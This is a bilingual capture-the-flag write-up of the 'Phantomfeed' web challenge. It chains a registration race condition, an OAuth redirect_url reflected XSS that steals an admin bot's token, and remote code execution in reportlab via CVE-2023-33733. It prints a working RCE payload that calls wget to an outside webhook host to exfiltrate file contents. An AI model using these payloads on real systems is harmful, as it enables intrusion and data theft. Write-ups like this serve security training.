Thrilled to finish in first place with my team GCC-ENSIBS! Special shout out to ESNA and Phreaks2600 for securing the second and third places! 很高兴能和我的团队GCC-ENSIBS一起获得第一名!特别感谢 ESNA 和 Phreaks2600 获得第二名和第三名!
Phantomfeed – WebPhantomfeed – 网页版
Some black-hat affiliated students talk of an underground hacking forum they frequent, the university hacking club has decided it is worth the effort of trying to hack into this illicit platform, in order to gain access to a sizeable array of digital weaponry that could prove critical to securing the campus before the undead arrive. 一些黑帽附属学生谈论他们经常光顾的地下黑客论坛,大学黑客俱乐部已经决定尝试入侵这个非法平台是值得的,以便获得大量数字武器,这些武器可能被证明对在亡灵到来之前保护校园至关重要。
Use a race condition to register an account and bypass the email verification process. Then, force the bot into the OAuth workflow with a malicious redirect_url which is reflected at the end of the OAuth worflow, this allows an XSS vulnerability to leak the token. Finish with a RCE inside the library reportlab which is used to generate PDF from HTML with the CVE-2023-33733. 使用争用条件注册帐户并绕过电子邮件验证过程。然后,强制机器人进入 OAuth 工作流,恶意 redirect_url 反映在 OAuth 工作流的末尾,这允许 XSS 漏洞泄露令牌。最后在库 reportlab 中有一个 RCE,用于从 HTML 生成 PDF CVE-2023-33733 ,带有 .
Overview概述
There are three applications involved: the frontend serves both Flask applications. The backend application does not have a login/register feature and instead utilizes an OAuth system set up on the phantom-feed. 涉及三个应用程序:前端同时服务于 Flask 应用程序。后端应用程序没有登录/注册功能,而是使用在幻像源上设置的 OAuth 系统。
Here is an overview of all the routes of the challenge: 以下是挑战赛所有路线的概述:
/: phantom-market-frontend is a frontend application made with NuxtJS. / : phantom-market-frontend 是使用 NuxtJS 制作的前端应用程序。
/
/callback/回调
/logout/注销
/orders/订单
/product/_id/产品/_id
/phantomfeed: phantom-feed is a Flask application. /phantomfeed :phantom-feed 是一个 Flask 应用程序。
/phantomfeed//幻影饲料/
/phantomfeed/login/phantomfeed/登录
/phantomfeed/register/phantomfeed/寄存器
/phantomfeed/confirm/phantomfeed/确认
/phantomfeed/logout/phantomfeed/注销
/phantomfeed/feed
/phantomfeed/about/phantomfeed/关于
/phantomfeed/marketplace /幻影饲料/市场
/phantomfeed/oauth2/auth
/phantomfeed/oauth2/code /phantomfeed/oauth2/代码
/phantomfeed/oauth2/token
/backend: phantom-market-backend is a Flask application. /backend :phantom-market-backend 是一个 Flask 应用程序。
Screenshot of the application (after validating a user account): 应用程序的屏幕截图(验证用户帐户后):
Getting User Account using a Race Condition 使用争用条件获取用户帐户
During user registration, the user is initially created with verified = True, but this status is subsequently changed to False as part of the email verification process. 在用户注册期间,最初使用 verified = True 创建用户,但随后在电子邮件验证过程中将 False 此状态更改为 。
Goal: Simultaneously register and log in with the same user. The user must be logged before the email verification is added. 目标:同时使用同一用户注册和登录。在添加电子邮件验证之前,必须先登录用户。
The Flask application operates in threaded mode, enabling the exploitation of the race condition. Flask 应用程序在线程模式下运行,从而能够利用争用条件。
@web.route("/register",methods=["GET","POST"])defregister():ifrequest.method=="GET":returnrender_template("register.html",title="register")ifrequest.method=="POST":username=request.form.get("username")password=request.form.get("password")email=request.form.get("email")ifnotusernameornotpasswordornotemail:returnrender_template("error.html",title="error",error="missing parameters"),400db_session=Database()# User is registed with verified = Trueuser_valid,user_id=db_session.create_user(username,password,email)current_app.logger.error("%s registered!",username)ifnotuser_valid:returnrender_template("error.html",title="error",error="user exists"),401# ReDos on email to add delay for the race conditionemail_client=EmailClient(email)# Add a verification code and set verified = Falseverification_code=db_session.add_verification(user_id)email_client.send_email(f"http://phantomfeed.htb/phantomfeed/confirm?verification_code={verification_code}")current_app.logger.error("%s mail send!",username)returnrender_template("error.html",title="error",error="verification code sent"),200
Using our user account, we can trigger the bot which is configured to run as an administrator user. 使用我们的用户帐户,我们可以触发配置为以管理员用户身份运行的机器人。
We can redirect the bot to an abritraty URL using the @ symbol. For example, entering the visit link http://127.0.0.1:[email protected] will redirect the bot to the website example.com. 我们可以使用该 @ 符号将机器人重定向到一个 abritraty URL。例如,输入访问链接 http://127.0.0.1:[email protected] 会将机器人重定向到网站 example.com 。
Example to redirect the bot to our webhook (which will be used later for more exploitation): 将机器人重定向到我们的 Webhook 的示例(稍后将用于更多利用):
1
2
3
4
5
POST /phantomfeed/feed HTTP/1.1
Host: 83.136.250.104:42681
Cookie: ...
content=hello&[email protected]/cbfec95c-1ddd-406a-a959-eb7001d9c50e?ping
OAuth with arbitrary redirect_url and no state 具有任意redirect_url且无状态的 OAuth
On the OAuth workflow on the application, the user must click on the Authorize button. However, you can force the user (or here the bot) to go to the second link which does not require a User Interaction and has no CSRF/state token. 在应用程序的 OAuth 工作流中,用户必须单击该 Authorize 按钮。但是,您可以强制用户(或此处为机器人)转到第二个链接,该链接不需要用户交互,也没有 CSRF/状态令牌。
Leak Bearer token using fetch diversion (not working) 使用获取转移的泄漏持有者令牌(不起作用)
The bot utilizes an httpOnly cookie at http://127.0.0.1:5000 and a Bearer Token at http://127.0.0.1:3000, therefore, we cannot directly leak its session. 机器人使用 httpOnly cookie at 和 Bearer Token at http://127.0.0.1:3000http://127.0.0.1:5000 ,因此,我们不能直接泄露其会话。
Initially, I didn’t discover any Cross-Site Scripting (XSS) vulnerabilities, so I turned my focus to fetch diversion in the frontend. The two endpoints that caught my attention allowed control over parts of the URL through this.$route.params.id. However, this control was insufficient to abuse the Bearer token, so I did not pursue this avenue further. 最初,我没有发现任何跨站点脚本 (XSS) 漏洞,因此我将注意力转向了在前端获取转移。引起我注意的两个端点允许通过 this.$route.params.id 控制 URL 的某些部分。但是,这种控制不足以滥用 Bearer 代币,因此我没有进一步寻求这种途径。
/backend/products/:ID (no UI)/backend/products/:ID (无 UI)
/backend/order/:ID (click on button is required) /backend/order/:ID (点击按钮为必填项)
XSS reflected in redirect_url XSS 反映在 redirect_url 中
In the /oauth2/token route, the redirect_url GET parameter must correspond to the redirect_url stored in the database. Nonetheless, it is possible to assign an arbitrary value to this variable. 在路由中 /oauth2/token , redirect_url GET 参数必须与数据库中存储的 redirect_url 相对应。尽管如此,可以为此变量分配任意值。
This route delivers a response in JSON format, however the Content-Type of the response is set to text/html. So, we can inject an XSS payload inside the redirect_url and this will be executed as its reflected on the response. 此路由以 JSON 格式传递响应,但响应 Content-Type 的格式设置为 text/html 。因此,我们可以在 中注入一个 XSS 有效负载 redirect_url ,这将在响应上反映时执行。
Example: ?redirect_url=https://webhook.site/cbfec95c-1ddd-406a-a959-eb7001d9c50e%3F<script>PAYLOAD<%2Fscript> (the second ?=%3F is URL encoded) 示例: ?redirect_url=https://webhook.site/cbfec95c-1ddd-406a-a959-eb7001d9c50e%3F<script>PAYLOAD<%2Fscript> (第二个 ? = %3F 是 URL 编码)
So you can force the bot to initiate the OAuth workflow and exploit an XSS vulnerability to capture its access_token. This token is used as a Bearer token in the backend application. 因此,您可以强制机器人启动 OAuth 工作流,并利用 XSS 漏洞来捕获其 access_token .此令牌在 backend 应用程序中用作 Bearer token
Here is my XSS payload to leak the access_token: 这是我的 XSS 有效载荷泄漏: access_token
In the requirements.txt file, the version of reportlab==3.6.12. 在 requirements.txt 文件中,. reportlab==3.6.12
Upon searching online, I came across CVE-2023-33733, which is a vulnerability in the reportlab PDF to HTML converter in versions earlier than 3.6.13: 在网上搜索时,我遇到了 CVE-2023-33733,这是 3.6.13 之前版本的 reportlab PDF 到 HTML 转换器中的一个漏洞:
Exploiting this Remote Code Execution (RCE) vulnerability, we can execute the command wget https://webhook.site/cbfec95c-1ddd-406a-a959-eb7001d9c50e?$(cat /flag*) to leak the flag (curl was not available). 利用此远程代码执行 (RCE) 漏洞,我们可以执行命令 wget https://webhook.site/cbfec95c-1ddd-406a-a959-eb7001d9c50e?$(cat /flag*) 来泄露标志( curl 不可用)。
1
2
3
4
5
6
7
POST /backend/orders/html HTTP/1.1
Host: 83.136.250.104:42681
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwaGFudG9tZmVlZC1hdXRoLXNlcnZlciIsImV4cCI6MTcwMjE1NjQyNiwidXNlcl9pZCI6MSwidXNlcm5hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl90eXBlIjoiYWRtaW5pc3RyYXRvciJ9.EcdimB9HubgiDBC9c1ueEXiqsz7kpeugpkoA3afuF3uuVODiXMhzNavMjFRAMpXSmaqy6Cyhz0wad7RRomEjqPvjcUY0zfFJLdvQCAqldlJkDpawggXyP8kSa45jitLkyL2LVJAZRmjNEjLuJQavMp2FaDV4hsUa4SemIh2zZIAN9131Vqj_7WV2R-dB3cQ_KAlWVNi0v_756ehnmjuBSo10XeZkE9QSZsIW4Kl1sOU8aqKhJtPvX0No9m84J7YjRrFWk-ptBwdz92yp7s2QHxPI1ksNL0d6CoefEY6x2D3fl0DH3PNOGp5fF8qBgfXSuhPwrB4CqEpjkLykBQmsSQ
Content-Type: application/x-www-form-urlencoded
Content-Length: 507
color=[[[getattr(pow, Word('__globals__'))['os'].system('wget https://webhook.site/cbfec95c-1ddd-406a-a959-eb7001d9c50e?$(cat /flag*)') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'
And we receive a hit on https://webhook.site/cbfec95c-1ddd-406a-a959-eb7001d9c50e?HTB{r4c3_2_rc3_04uth2_j4ck3d!}. 我们收到了. https://webhook.site/cbfec95c-1ddd-406a-a959-eb7001d9c50e?HTB{r4c3_2_rc3_04uth2_j4ck3d!}